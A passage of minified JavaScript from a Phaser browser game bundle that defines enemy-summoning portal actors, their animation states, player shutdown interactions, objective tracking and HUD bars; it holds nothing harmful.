_0x11db11(0x2515), _0x130042 = _0x11db11(0xde7), _0x2430c5 = _0x11db11(0x16a), _0x298005 = _0x11db11(0x2347), _0x1935c1 = _0x11db11(0x2287), _0xaf6b63 = _0x11db11(0x2054), _0x7179d9 = _0x14f65f(_0x11db11(0x22f3)), _0x3fa8a0 = _0x11db11(0x2420), _0x468a6d = _0x11db11(0x655), _0x58316c = { ..._0x1c3716['actorModel'], ..._0x4534a1['portalModel'], ..._0x392c1e['sensorModel'], ..._0x28734['movementModel'], ..._0x16d8a5['aiModel'], ..._0x392c1e['sensorModel'], ..._0x317789['weaponModel'], ..._0x16d8a5['aiModel'], ..._0x275ec6['damageModel'], ..._0x47b143['actionControlModel'] }, _0x2448f0 = _0x7179d9['type']({ 'maxSustainedSummons': _0x7179d9['number'], 'summonChancePerSecond': _0x7179d9['number'], 'summonCooldownMS': _0x7179d9['number'], 'summonTimeMS': _0x7179d9['number'] }), _0x2acf4e = 0x2710, _0xca73fe = 0x1e, _0x14445 = 0x0; _0x21fb02['TPortalSummoningConfig'] = _0x7179d9['intersection']([_0x7179d9['type']({ 'spawnChanceConfig': _0x7179d9['type']({ 'mook/ballbot': _0x7179d9['number'], 'mook/hand': _0x7179d9['number'], 'mook/spider': _0x7179d9['number'], 'mook/flybot': _0x7179d9['number'], 'mook/ballbot2': _0x7179d9['number'], 'mook/hands2': _0x7179d9['number'], 'mook/spider2': _0x7179d9['number'], 'mook/flybot2': _0x7179d9['number'] }), 'maxSustainedSummons': _0x7179d9['number'], 'summonTimeMS': _0x7179d9['number'], 'summonCooldownMS': _0x7179d9['number'], 'summonChancePerSecond': _0x7179d9['number'], 'summonConfigActivationMessage': _0x7179d9['string'], 'activatePortalWhenReachesThisPhase': _0x7179d9['boolean'] }), _0x7179d9['partial']({})]); const _0x406a63 = 'portal/hard1'; function _0x46400a(_0x4a93e2) { switch (_0x4a93e2['portalObjectConfig']['renderConfig']['name']) { case 'animatedSprite': { const _0x181069 = []; return _0x181069['push'](new _0xf1dad9['AnimatedSpriteRenderComponent']({ 'animationName': _0x4a93e2['portalObjectConfig']['renderConfig']['animationName'], 'affectedByLight': !0x0, 'controllers': [_0x467e5f(_0x4a93e2, !0x1)] })), _0x4a93e2['portalObjectConfig']['renderConfig']['animationLightName'] && _0x181069['push'](new _0xf1dad9['AnimatedSpriteRenderComponent']({ 'animationName': _0x4a93e2['portalObjectConfig']['renderConfig']['animationLightName'], 'affectedByLight': !0x1, 'controllers': [_0x467e5f(_0x4a93e2, !0x0)], 'applyActionOnSprite': _0x7b3f11 => { _0x7b3f11['setBlendMode'](Phaser['BlendModes']['ADD']), _0x7b3f11['setDepth'](_0x33f5a5['LAYER_DEPTHS']['SPRITE'] + 0.1); } })), _0x181069; } case 'spine': return [new _0x1a4364['SpineRenderComponent']({ 'spineAssetName': _0x4a93e2['portalObjectConfig']['renderConfig']['spineAssetName'], 'animationName': 'Idle', 'loop': !0x0, 'scale': _0x4a93e2['portalObjectConfig']['renderConfig']['scale'], 'tint': parseInt(_0x4a93e2['portalObjectConfig']['renderConfig']['tint'] || '0xffffff', 0x10), 'offsetPosition': _0x4a93e2['portalObjectConfig']['renderConfig']['offsetPosition'], 'layerDepth': _0x33f5a5['LAYER_DEPTHS']['BACKGROUND'] + 0x1, 'controllers': [new _0x5d66ce['PortalAnimationController']()] })]; } } function _0x467e5f(_0x43d6da, _0x1ed64b) { const _0x59792c = _0x43d6da['portalObjectConfig']['renderConfig']; return new _0x3727ef['PortalSpritesheetAnimationController']({ 'disabledOnBackend': !0x0, 'animationName': _0x1ed64b ? _0x59792c['animationLightName'] || '' : _0x59792c['animationName'] }); } function _0x252f6f(_0x3a8da2) { const _0x1d6eec = {}; return _0x3a8da2['forEach'](_0x43a042 => { _0x1d6eec[_0x43a042] = { 'customTriggerFunction': _0x86cf83 => 'DEFAULT' !== _0x86cf83['get']('portalShutdownState') }; }), _0x1d6eec; } _0x21fb02['TPortalConfig'] = _0x7179d9['intersection']([_0x7179d9['type']({ 'summonConfig[0]': _0x21fb02['TPortalSummoningConfig'], 'summonConfig[1]': _0x21fb02['TPortalSummoningConfig'], 'summonConfig[2]': _0x21fb02['TPortalSummoningConfig'], 'summonConfig[3]': _0x21fb02['TPortalSummoningConfig'], 'summonConfig[4]': _0x21fb02['TPortalSummoningConfig'], 'summonConfig[5]': _0x21fb02['TPortalSummoningConfig'], 'activationDurationMS': _0x7179d9['number'], 'activationStartTimeMS': _0x7179d9['number'], 'portalShutdownTimeMS': _0x7179d9['number'], 'portalShutdownDistance': _0x7179d9['number'], 'portalScoredEnemyCount': _0x7179d9['number'] }), _0x7179d9['partial']({ 'summonYOffset': _0x7179d9['number'], 'portalOverdriveConfig': _0x2448f0 })]), _0x21fb02['createPortalActor'] = function (_0x35bd8e) { const _0x4f0362 = _0x35bd8e['namedId'] ?? 'Portal\x20' + _0x35bd8e['gameContext']['idProvider']['get'](_0x556003['EProviderContext']['MAIN'])['toString'](), _0xf42ed5 = [_0x35bd8e['portalDefenseWeapon'] ?? _0x406a63], _0x40ddbb = _0x35bd8e['portalConfig']['portalShutdownTimeMS'] ?? _0x2acf4e, _0x2f5daa = _0x35bd8e['portalConfig']['portalShutdownDistance'] ?? _0xca73fe, _0xbaf527 = _0x35bd8e['portalConfig']['portalScoredEnemyCount'] ?? _0x14445; return new _0x101121['Actor']({ ..._0x35bd8e, 'tags': _0x35bd8e['portalObjectConfig']['actorTags'], 'name': 'Portal', 'model': _0x58316c, 'components': [..._0x46400a(_0x35bd8e), new _0x1545ee['RigidBodyComponent']({ 'world': _0x35bd8e['world'], 'bodyDesc': _0x1b8a2a['default']['RigidBodyDesc']['fixed'](), 'collidersEmitCollisionEvents': !0x0, 'collidersDesc': { 'body': _0x1b8a2a['default']['ColliderDesc']['ball'](0x1)['setCollisionGroups'](_0x92f037['PhysicsConfig']['COLLISION_GROUPS']['OTHER'] << 0x10) }, 'position': _0x35bd8e['initialPosition'], 'controllers': [new _0x378d1e['RigidBodySensorController']({ 'calculateDistanceToGround': !0x1, 'calculateCanSeeTarget': !0x0, 'groundTags': [_0x42a92c['EActorTag']['GROUND']] })] }), new _0x65f31e['PortalComponent']({ 'portalConfig': _0x35bd8e['portalConfig'], 'world': _0x35bd8e['world'], 'scoredEnemyCount': _0xbaf527, 'controllers': [new _0x3cd71c['PortalController']({ 'portalConfig': _0x35bd8e['portalConfig'], 'portalShutdownObjectiveName': 'disableAllPortals' })] }), new _0x5a229f['PortalSoundComponent']({ 'disabledOnBackend': !0x0 }), new _0x488d05['PortalShutdownComponent']({ 'portalShutdownTimeMS': _0x40ddbb, 'portalShutdownStartInteractionDistance': 0xa, 'portalShutdownProgressInteractionDistance': _0x2f5daa, 'portalShutdownRegainTimeMultiplier': 0.5, 'portalShutdownMessagePositionOffset': { 'x': 0x0, 'y': -0x96 }, 'portalShutdownObjectiveName': 'disableAllPortals' }), new _0x116e76['PortalShutdownRangeRenderComponent']({ 'rangeCircleRadius': _0x2f5daa, 'centerOffset': { 'x': 0x0, 'y': 0x96 }, 'disabledOnBackend': !0x0 }), new _0x111868['RegisterAsObjectiveComponent']({ 'objectiveConfig': { 'showOnObjectiveList': !0x0, 'initialObjectiveCompletionPoints': 0x0, 'completionPointsToCompleteObjective': 0x14, 'displayAsPercentage': !0x0, 'hideWhenCompleted': !0x0, 'isSecondaryObjective': !0x0, 'objectiveCompleteMessage': 'Portal\x20' + _0x35bd8e['namedId'] + '\x20has\x20been\x20shut\x20down!' }, 'objectiveName': _0x4f0362 }), new _0x111868['RegisterAsObjectiveComponent']({ 'objectiveConfig': { 'objectiveCompleteMessage': 'FINAL\x20PORTAL\x20DISABLED', 'objectiveProgressMessage': 'PORTAL\x20DISABLED!\x20{amountLeft}\x20REMAINING!', 'completionPointsToCompleteObjective': 0x1, 'isPrimaryObjective': !0x0, 'objectiveDescriptionMessage': 'Disable\x20all\x20Portals', 'runSummaryTarget': { 'name': 'portalsDisabled', 'value': 0x1 } }, 'objectiveName': 'disableAllPortals' }), new _0xaf6b63['PortalShutdownObjectiveComponent']({ 'portalShutdownTimeMS': _0x40ddbb, 'completionPointsToCompleteObjective': 0x14, 'objectiveName': _0x4f0362 }), new _0xad720e['ContinuousBarRenderComponent']({ 'maxValue': 0x14, 'name': 'portal_shutdown', 'initialPosition': { 'x': 0x0, 'y': -0xa0 }, 'configPath': { 'value': 'ui_bars_icons/HUD_bar_short_on_open', 'background': 'ui_bars_icons/HUD_bar_short_off_open', 'ending': 'ui_bars_icons/HUD_bar_side' }, 'tint': 0xff55, 'barOrigin': 'center', 'attachToActor': !0x0, 'depth': _0x33f5a5['LAYER_DEPTHS']['UI_HUD'], 'depthAdd': _0x33f5a5['LAYER_DEPTHS']['UI_HUD'] + 0x1, 'controllers': [new _0x317609['PortalShutdownUiController']({ 'disabledOnBackend': !0x0, 'totalShutdownTimeMS': _0x40ddbb, 'counterMaxValue': 0x14 })], 'scaleX': 2.2, 'scaleY': 0.2, 'iconOffset': { 'x': -0x37, 'y': 0x0 }, 'disabledOnBackend': !0x0 }), new _0x130042['PortalShutdownUILabelComponent']({ 'shutdownInteractionText': 'Shutting\x20down\x20{PortalName}', 'shutdownInteractionSuspendedText': 'Shutdown\x20suspended!', 'positionOffset': { 'x': 0x0, 'y': -0xbe }, 'disabledOnBackend': !0x0 }), new _0x46d66a['BeamBetweenActorsComponent']({ 'controllers': [new _0x2430c5['PortalShutdownBeamController']({ 'maxBeamLength': (0x0, _0x298005['physicsScalar2RenderScalar'])(_0x2f5daa) })], 'disabledOnBackend': !0x0 }), new _0x40688f['AiComponent']({ ..._0x35bd8e['portalObjectConfig']['aiConfig'], 'initialState': 'SLEEPING', 'controllers': [new _0x4bcfd3['AiWeaponTriggerController']({ ..._0x35bd8e['portalObjectConfig']['aiConfig'], 'weaponNames': _0xf42ed5 }), new _0x38b09b['AiTargetController']({ 'targetActorHandles': [_0x42a92c['EActorTag']['PLAYER']], 'world': _0x35bd8e['world'], 'aiConfig': _0x35bd8e['portalObjectConfig']['aiConfig'] })] }), new _0x541414['EffectRenderComponent']({ 'controllers': [new _0x59c007['WeaponFireEffectController']({ 'firingPoints': _0x35bd8e['portalObjectConfig']['firingPoints'] }), new _0x1d9efa['WeaponChargeController']({ 'firingPoints': _0x35bd8e['portalObjectConfig']['firingPoints'] })] }), new _0x2134ab['WeaponComponent']({ 'world': _0x35bd8e['world'], 'firingPoints': _0x35bd8e['portalObjectConfig']['firingPoints'], 'controllers': [new _0x4ed0b9['WeaponFireController']({ 'firingPoints': _0x35bd8e['portalObjectConfig']['firingPoints'] }), new _0x1935c1['WeaponSoundController']({ 'disabledOnBackend': !0x0 })] }), new _0x3fa8a0['WeaponManagementComponent']({ 'controllers': [new _0x468a6d['EnemyWeaponManagementController']({ 'initialWeapons': _0x252f6f(_0xf42ed5) })] }), new _0x2f7cce['ActorDebugRenderComponent']({ 'firingPoints': _0x35bd8e['portalObjectConfig']['firingPoints'] })] }); }; }, 0x243b: (_0x2ba703, _0x4d2eff, _0x1adac2) => { 'use strict'; Object['defineProperty'](_0x4d2eff, '__esModule', { 'value': !0x0 }), _0x4d2eff['PortalAnimationController'] = void 0x0; const _0x487147 = _0x1adac2(0x1520); class _0x509e1a extends _0x487147['ComponentController']{ ['init']() { this['store']['subscribe']('portalSummoningState', ({ oldValue: _0x2e4f64, newValue: _0x599c4b }) => this['onPortalStateChange'](_0x599c4b)); } ['onPortalStateChange'](_0x10b40b) { switch (_0x10b40b) { case 'DISABLED': this['onDisabled'](); break; case 'ACTIVATING': this['onActivating'](); break; case 'IDLE': this['onIdle'](); break; case 'SUMMONING_BEGIN': this['onSummoningBegin'](); break; case 'COOLDOWN': this['onCooldown'](); } } ['onActivating']() { this['component']['playAnimation']({ 'name': 'Activate', 'loop': !0x1 }); } ['onIdle']() { this['component']['playAnimation']({ 'name': 'Active', 'loop': !0x0 }); } ['onSummoningBegin']() { this['component']['playAnimation']({ 'name': 'Summon', 'loop': !0x1 }); } ['onCooldown']() { this['component']['playAnimation']({ 'name': 'SummonComplete', 'loop': !0x1 }); } ['onDisabled']() { this['component']['playAnimation']({ 'name': 'Off', 'loop': !0x1 }); } } _0x4d2eff['PortalAnimationController'] = _0x509e1a; }, 0x1875: (_0x5bd6ba, _0x1965eb, _0x90eb94) => { 'use strict'; Object['defineProperty'](_0x1965eb, '__esModule', { 'value': !0x0 }), _0x1965eb['PortalComponent'] = void 0x0; const _0x49323d = _0x90eb94(0x2414), _0x4de14d = _0x90eb94(0x2f5), _0x5114be = _0x90eb94(0x2347), _0x2c40b1 = _0x90eb94(0x221b); class _0x2c9dd6 extends _0x49323d['ActorComponent']{ constructor(_0x2713d8) { super(_0x2713d8); } ['update'](_0x2879e7) { const _0x213bde = this['store']['get']('portalSummoningState'); if (!['OFF', 'DISABLED']['includes'](_0x213bde)) switch (_0x213bde) { case 'IDLE': this['updateIdle'](_0x2879e7); break; case 'SUMMONING_BEGIN': this['updateSummoningBegin'](_0x2879e7); } } ['getCurrentConfig']() { let _0x1a2bf7 = this['store']['get']('currentSummoningConfigIndex'); const _0x132911 = 'summonConfig[' + _0x1a2bf7 + ']'; let _0xb8fb8c = this['config']['portalConfig'][_0x132911]; for (; void 0x0 === _0xb8fb8c && _0x1a2bf7 > 0x0;)_0x1a2bf7--, _0xb8fb8c = this['config']['portalConfig']['summonConfig[' + _0x1a2bf7 + ']']; return this['store']['update']('currentSummoningConfigIndex', _0x1a2bf7), _0xb8fb8c; } ['updateIdle'](_0x33b9d8) { this['maybeBeginSummoning'](_0x33b9d8); } ['updateSummoningBegin'](_0x141e5d) { this['store']['update']('portalSummoningState', 'SUMMONING'); const _0x267a69 = this['shallUseOverdriveConfig']() ? this['config']['portalConfig']['portalOverdriveConfig']['summonTimeMS'] : this['getCurrentConfig']()['summonTimeMS']; this['gameContext']['timeProvider']['delayAction'](() => this['onCooldown'](), _0x267a69); } ['onCooldown']() { if ('DISABLED' === this['store']['get']('portalSummoningState')) return; const _0x2fc742 = this['createSummon'](this['pickSummon']()); this['store']['update']('portalSummons', [...this['store']['get']('portalSummons'), _0x2fc742]), this['createSummonEffects'](); const _0x40c4d3 = this['shallUseOverdriveConfig']() ? this['config']['portalConfig']['portalOverdriveConfig']['summonCooldownMS'] : this['getCurrentConfig']()['summonCooldownMS']; this['store']['update']('portalSummoningState', 'COOLDOWN'), this['gameContext']['timeProvider']['delayAction'](() => { 'DISABLED' !== this['store']['get']('portalSummoningState') && this['store']['update']('portalSummoningState', 'IDLE'); }, _0x40c4d3); } ['maybeBeginSummoning'](_0x442f2d) { if ('DISABLED' === this['store']['get']('portalSummoningState')) return; const _0x4d9455 = this['shallUseOverdriveConfig']() ? this['config']['portalConfig']['portalOverdriveConfig']['maxSustainedSummons'] : this['getCurrentConfig']()['maxSustainedSummons'], _0x2daf90 = this['shallUseOverdriveConfig']() ? this['config']['portalConfig']['portalOverdriveConfig']['summonChancePerSecond'] : this['getCurrentConfig']()['summonChancePerSecond']; if (this['store']['get']('portalSummons')['length'] >= _0x4d9455) return; this['gameContext']['rngProvider']['getRandomFloat'](_0x2c40b1['EProviderContext']['MAIN'], 0x0, 0x1) < _0x2daf90 * _0x442f2d && this['store']['update']('portalSummoningState', 'SUMMONING_BEGIN'); } ['pickSummon']() { const _0x5884ae = this['getCurrentConfig']()['spawnChanceConfig'], _0x16b83e = Object['values'](_0x5884ae)['reduce']((_0x4c1938, _0x59dc87) => _0x4c1938 + _0x59dc87, 0x0), _0x172c8f = this['gameContext']['rngProvider']['getRandomFloat'](_0x2c40b1['EProviderContext']['MAIN'], 0x0, _0x16b83e); let _0x47f6f3 = 0x0; for (const _0x33cc30 in _0x5884ae) { if (_0x47f6f3 += _0x5884ae[_0x33cc30], _0x172c8f <= _0x47f6f3) return _0x33cc30; } throw new Error('Unable\x20to\x20pick\x20portal\x27s\x20summon\x20configuration.\x20Check\x20spawnChanceConfig:\x20' + JSON['stringify'](_0x5884ae)); } ['createSummon'](_0x4e1c95) { const _0x4ee5af = this['store']['get']('physicsPosition'); _0x4ee5af['y'] += this['config']['portalConfig']['summonYOffset'] ?? 0x6; const _0x1b8e88 = this['store']['get']('summonsCreatedCount'); this['store']['update']('summonsCreatedCount', _0x1b8e88 + 0x1); try { const _0x2da286 = _0x4de14d['GAMEPLAY_ACTOR_MAP']['enemy']({ 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'gameContext': this['gameContext'], 'initialPosition': _0x4ee5af, 'world': this['config']['world'], 'enemyConfig': this['getEnemyConfig'](_0x4e1c95), 'enemyConfigPath': _0x4e1c95, 'initialState': 'WANDERING' }); return this['actor']['registerActor'](_0x2da286), _0x2da286; } catch (_0x4019df) { throw _0x4019df; } } ['createSummonEffects']() { const _0x47ff00 = this['store']['get']('renderPosition'); _0x47ff00['y'] += (0x0, _0x5114be['physicsScalar2RenderScalar'])(this['config']['portalConfig']['summonYOffset'] ?? 0x6), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'impact/blue_wave_small', 'position': _0x47ff00 }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'impact/medium_blue', 'position': _0x47ff00 }); } ['getEnemyConfig'](_0x233876) { return this['store']['get']('summonsCreatedCount') <= this['config']['scoredEnemyCount'] ? { ...this['gameContext']['getEnemyConfig'](_0x233876) } : { ...this['gameContext']['getEnemyConfig'](_0x233876), 'dropOnDestroy': [], 'dropOnHit': [], 'pointValue': 0x0 }; } ['shallUseOverdriveConfig']() { const _0x16c48c = void 0x0 !== this['config']['portalConfig']['portalOverdriveConfig'], _0x10b387 = 'DEFAULT' !== this['store']['get']('portalShutdownState'); return _0x16c48c && _0x10b387; } } _0x1965eb['PortalComponent'] = _0x2c9dd6; }, 0x1dcc: (_0x25193b, _0x2392b4, _0x4aedb6) => { 'use strict'; Object['defineProperty'](_0x2392b4, '__esModule', { 'value': !0x0 }), _0x2392b4['PortalController'] = void 0x0; const _0x17dd42 = _0x4aedb6(0x1520), _0x368f6c = _0x4aedb6(0x1832), _0x59df60 = _0x4aedb6(0x1b39); class _0x1a1c7e extends _0x17dd42['ComponentController']{ ['lastUpdateTime'] = 0x0; constructor(_0x5b1d73) { super(_0x5b1d73); } ['init']() { const _0x1c82ce = this['gameContext']['timeProvider']['delayAction'](() => this['activatePortal'](), this['config']['portalConfig']['activationStartTimeMS']); this['sceneMessageBus']['subscribe'](this, 'actorDestroyed', _0x2afa6d => this['onActorDestroyed'](_0x2afa6d)), this['gameMessageBus']['subscribe'](this, 'progressObjective', _0x5d9bd6 => this['maybeIncreasePortalPhase'](_0x5d9bd6)), this['gameMessageBus']['subscribe'](this, 'playerDead', () => this['stopPortal'](_0x1c82ce)), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['stopPortal'](_0x1c82ce)); } ['update'](_0x89c1ed) { this['lastUpdateTime'] += _0x89c1ed, this['lastUpdateTime'] > 0.1 && (this['lastUpdateTime'] = 0x0, this['maybeDestroyFarEnemies']()); } ['onActorDestroyed'](_0x1be445) { _0x1be445['getTags']()['includes'](_0x368f6c['EActorTag']['ENEMY']) && this['store']['update']('portalSummons', this['store']['get']('portalSummons')['filter'](_0x352cbc => _0x352cbc !== _0x1be445)); } ['activatePortal']() { this['gameContext']['timeProvider']['delayAction'](() => { 'DISABLED' !== this['store']['get']('portalSummoningState') && this['store']['update']('portalSummoningState', 'IDLE'); }, this['config']['portalConfig']['activationDurationMS']); } ['maybeIncreasePortalPhase'](_0x3a6db6) { _0x3a6db6['name'] === this['config']['portalShutdownObjectiveName'] && (this['store']['update']('currentSummoningConfigIndex', this['store']['get']('currentSummoningConfigIndex') + 0x1), this['component']['getCurrentConfig']()['activatePortalWhenReachesThisPhase'] && this['activatePortal']()); } ['stopPortal'](_0x19b332) { this['store']['update']('portalSummoningState', 'DISABLED'), this['gameContext']['timeProvider']['cancelDelayedAction'](_0x19b332); } ['maybeDestroyFarEnemies']() { if (!('DEFAULT' !== this['store']['get']('portalShutdownState'))) return; const _0x350af9 = this['store']['get']('physicsPosition'); this['store']['get']('portalSummons')['filter'](_0x22edb4 => { const _0xbc16ab = _0x22edb4['getFromStore']('physicsPosition'); return (0x0, _0x59df60['distanceBetweenVectors'])(_0x350af9, _0xbc16ab) > 0x3c; })['forEach'](_0x1f4703 => { _0x1f4703['messageActor']('requestDespawn'); }); } } _0x2392b4['PortalController'] = _0x1a1c7e; }, 0x16ae: (_0x21155d, _0x4eac77) => { 'use strict'; Object['defineProperty'](_0x4eac77, '__esModule', { 'value': !0x0 }), _0x4eac77['portalModel'] = void 0x0, _0x4eac77['portalModel'] = { 'portalSummoningState': 'OFF', 'portalShutdownState': 'DEFAULT', 'portalSummons': [], 'summonsCreatedCount': 0x0, 'currentSummoningConfigIndex': 0x0, 'timeLeftToFinishShutdownMS': 0x0, 'portalShutdownInteractions': {}, 'currentInteraction': null }; }, 0x16a: (_0x57b357, _0x42cf79, _0x398234) => { 'use strict'; Object['defineProperty'](_0x42cf79, '__esModule', { 'value': !0x0 }), _0x42cf79['PortalShutdownBeamController'] = void 0x0; const _0x4b92ae = _0x398234(0x1520), _0x532ac3 = _0x398234(0x1fe7); class _0x460b12 extends _0x4b92ae['ComponentController']{ constructor(_0xf92797) { super(_0xf92797); } ['init']() { this['sceneMessageBus']['subscribe'](this, 'registerInteraction', _0x27958f => this['onRegisterInteraction'](_0x27958f)), this['sceneMessageBus']['subscribe'](this, 'updateInteractionState', _0x2fd0cf => this['onUpdateInteractionState'](_0x2fd0cf)), this['sceneMessageBus']['subscribe'](this, 'unregisterInteractionByInteractableActor', _0x137d0c => this['unregisterByActor'](_0x137d0c)); } ['onRegisterInteraction'](_0x4117f9) { if ('SHUTDOWN' !== _0x4117f9['interactionType']) return; if (_0x4117f9['interactableActor'] !== this['actor']) return; const _0x8baa14 = { 'config': _0x4117f9, 'state': _0x532ac3['EInteractionState']['OUT_OF_RANGE'] }; this['store']['get']('portalShutdownInteractions')[_0x4117f9['interactionId']] = _0x8baa14; } ['onUpdateInteractionState'](_0x410c15) { const _0x478cc8 = this['store']['get']('portalShutdownInteractions'), _0x53c73d = _0x478cc8[_0x410c15['config']['interactionId']]; if (!_0x53c73d) return; const _0x22a7f8 = [_0x532ac3['EInteractionState']['IN_RANGE_ACTIVE'], _0x532ac3['EInteractionState']['IN_RANGE_INACTIVE']]['includes'](_0x410c15['state']), _0x5a4988 = [_0x532ac3['EInteractionState']['IN_RANGE_ACTIVE'], _0x532ac3['EInteractionState']['IN_RANGE_INACTIVE']]['includes'](_0x53c73d['state']); _0x22a7f8 && !_0x5a4988 && this['component']['addBeamPair']({ 'id': _0x410c15['config']['interactionId'], 'endingActor': this['actor'], 'startingActor': _0x410c15['config']['interactingActor'], 'startingActorPositionOffset': { 'x': 0x0, 'y': -0x32 }, 'beamConfig': { 'beamCoreAnimationName': 'beam/beam_arrows_core' }, 'beamChangesTintWithDistance': ['0x33ff55', '0x33ff55', '0x33ff55', '0xffaa22', '0xffaa22', '0xff0000', '0xff0000', '0xff0000'], 'beamMaxDistance': this['config']['maxBeamLength'] }), !_0x22a7f8 && _0x5a4988 && this['component']['removeBeamPair'](_0x410c15['config']['interactionId']), _0x478cc8[_0x410c15['config']['interactionId']] = _0x410c15; } ['unregisterByActor'](_0xd2c639) { Object['values'](this['store']['get']('portalShutdownInteractions'))['forEach'](_0xab4c6a => { this['component']['removeBeamPair'](_0xab4c6a['config']['interactionId']); }); } } _0x42cf79['PortalShutdownBeamController'] = _0x460b12; }, 0x157f: function (_0x5c8263, _0x4dd346, _0x33147a) { 'use strict'; var _0x22b0f7 = this && this['__importDefault'] || function (_0x1cefb0) { return _0x1cefb0 && _0x1cefb0['__esModule'] ? _0x1cefb0 : { 'default': _0x1cefb0 }; }; Object['defineProperty'](_0x4dd346, '__esModule', { 'value': !0x0 }), _0x4dd346['PortalShutdownComponent'] = _0x4dd346['PORTAL_SHUTDOWN_INTERACTION_TYPE'] = void 0x0; const _0x4b97d8 = _0x33147a(0x2414), _0x3cc4b9 = _0x33147a(0x1832), _0x4e32e0 = _0x33147a(0x2347), _0x5c9e7d = _0x33147a(0x221b), _0x3ef30d = _0x22b0f7(_0x33147a(0x1b39)), _0x4a51c1 = _0x33147a(0x13a9); _0x4dd346['PORTAL_SHUTDOWN_INTERACTION_TYPE'] = 'SHUTDOWN'; class _0xe9e715 extends _0x4b97d8['ActorComponent']{ constructor(_0x5ca91a) { super(_0x5ca91a); } ['postInit']() { this['store']['subscribe']('portalSummoningState', ({ oldValue: _0x4de132, newValue: _0x4c07ea }) => this['maybeSetupInteraction'](_0x4c07ea)), this['sceneMessageBus']['subscribe'](this, 'performAvailableInteraction', _0xf58c8a => this['maybeStartShutdown'](_0xf58c8a)), this['sceneMessageBus']['subscribe'](this, 'updateInteractionState', _0x2c147c => this['onUpdateInteractionState'](_0x2c147c)), this['gameMessageBus']['subscribe'](this, 'playerDead', () => this['cancelShutdown']()), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['stopPortal']()); } ['update'](_0xb0ea38) { this['updateShutdown'](_0xb0ea38); } ['updateShutdown'](_0x3b6f61) { switch (this['store']['get']('portalShutdownState')) { case 'SHUTDOWN_IN_PROGRESS': { const _0x4c224f = this['getDistanceMultiplier'](this['store']['get']('currentInteraction')), _0x3ab575 = this['store']['get']('timeLeftToFinishShutdownMS') - 0x3e8 * _0x3b6f61 * _0x4c224f; this['store']['update']('timeLeftToFinishShutdownMS', _0x3ab575), _0x3ab575 <= 0x0 && this['shutdownComplete'](); break; } case 'SHUTDOWN_SUSPENDED': { const _0x4ea88d = this['store']['get']('timeLeftToFinishShutdownMS') + 0x3e8 * _0x3b6f61 * this['config']['portalShutdownRegainTimeMultiplier']; this['store']['update']('timeLeftToFinishShutdownMS', _0x4ea88d), _0x4ea88d >= this['config']['portalShutdownTimeMS'] && this['cancelShutdown'](); break; } } } ['maybeSetupInteraction'](_0x2ba285) { 'IDLE' === _0x2ba285 && 'DEFAULT' === this['store']['get']('portalShutdownState') && this['registerShutdownStartInteraction'](); } ['registerShutdownStartInteraction']() { this['sceneMessageBus']['publish']('registerInteraction', { 'interactionId': this['gameContext']['idProvider']['get'](_0x5c9e7d['EProviderContext']['MAIN']), 'interactableActor': this['actor'], 'interactingActor': this['gameContext']['queryActors'](_0x3cc4b9['EActorTag']['PLAYER'])[0x0], 'interactionDistance': this['config']['portalShutdownStartInteractionDistance'], 'interactionText': (0x0, _0x4a51c1['assembleText'])('{interaction}\x20Begin\x20Shutdown', this['gameContext']['getFromGameStore']('settings')), 'interactionRenderOffset': this['config']['portalShutdownMessagePositionOffset'], 'interactionEnteredRangeSound': { 'name': 'portalLockAlert' }, 'requiresLineOfSightCheck': !0x0 }); } ['registerShutdownProgressInteraction']() { this['sceneMessageBus']['publish']('registerInteraction', { 'interactionId': this['gameContext']['idProvider']['get'](_0x5c9e7d['EProviderContext']['MAIN']), 'interactableActor': this['actor'], 'interactingActor': this['gameContext']['queryActors'](_0x3cc4b9['EActorTag']['PLAYER'])[0x0], 'interactionDistance': this['config']['portalShutdownProgressInteractionDistance'], 'interactionRenderOffset': this['config']['portalShutdownMessagePositionOffset'], 'interactionType': _0x4dd346['PORTAL_SHUTDOWN_INTERACTION_TYPE'], 'interactionEnteredRangeSound': { 'name': 'portalLocked' }, 'interactionExitedRangeSound': { 'name': 'portalUnlocked' }, 'interactionDestroyedSound': { 'name': 'portalShutdown' }, 'requiresLineOfSightCheck': !0x0 }); } ['onUpdateInteractionState'](_0x30fd1b) { _0x30fd1b['config']['interactableActor'] === this['actor'] && _0x30fd1b['config']['interactionType'] === _0x4dd346['PORTAL_SHUTDOWN_INTERACTION_TYPE'] && 'DEFAULT' !== this['store']['get']('portalShutdownState') && (this['store']['update']('currentInteraction', _0x30fd1b), 'OUT_OF_RANGE' === _0x30fd1b['state'] ? this['store']['update']('portalShutdownState', 'SHUTDOWN_SUSPENDED') : this['store']['update']('portalShutdownState', 'SHUTDOWN_IN_PROGRESS')); } ['maybeStartShutdown'](_0x325444) { _0x325444['interactableActor'] === this['actor'] && 'DEFAULT' === this['store']['get']('portalShutdownState') && (this['sceneMessageBus']['publish']('unregisterInteractionByInteractableActor', this['actor']), this['registerShutdownProgressInteraction'](), this['store']['update']('portalShutdownState', 'SHUTDOWN_IN_PROGRESS'), this['store']['update']('timeLeftToFinishShutdownMS', this['config']['portalShutdownTimeMS'])); } ['shutdownComplete']() { this['sceneMessageBus']['publish']('unregisterInteractionByInteractableActor', this['actor']), this['messageBus']['publish']('cancelAttack'), this['store']['update']('portalSummoningState', 'DISABLED'), this['store']['update']('portalShutdownState', 'DEFAULT'), this['gameMessageBus']['publish']('progressObjective', { 'name': this['config']['portalShutdownObjectiveName'], 'completionPoints': 0x1 }); } ['cancelShutdown']() { this['sceneMessageBus']['publish']('unregisterInteractionByInteractableActor', this['actor']), this['registerShutdownStartInteraction'](), this['messageBus']['publish']('cancelAttack'), this['store']['update']('portalShutdownState', 'DEFAULT'), this['store']['update']('timeLeftToFinishShutdownMS', 0x0); } ['stopPortal']() { this['sceneMessageBus']['publish']('unregisterInteractionByInteractableActor', this['actor']), this['messageBus']['publish']('cancelAttack'), this['store']['update']('portalShutdownState', 'DEFAULT'), this['store']['update']('timeLeftToFinishShutdownMS', 0x0); } ['getDistanceMultiplier'](_0x1622e4) { if (!_0x1622e4) return 0x0; const _0x183bbc = (0x0, _0x4e32e0['physicsScalar2RenderScalar'])(this['config']['portalShutdownProgressInteractionDistance']); return 0x1 - 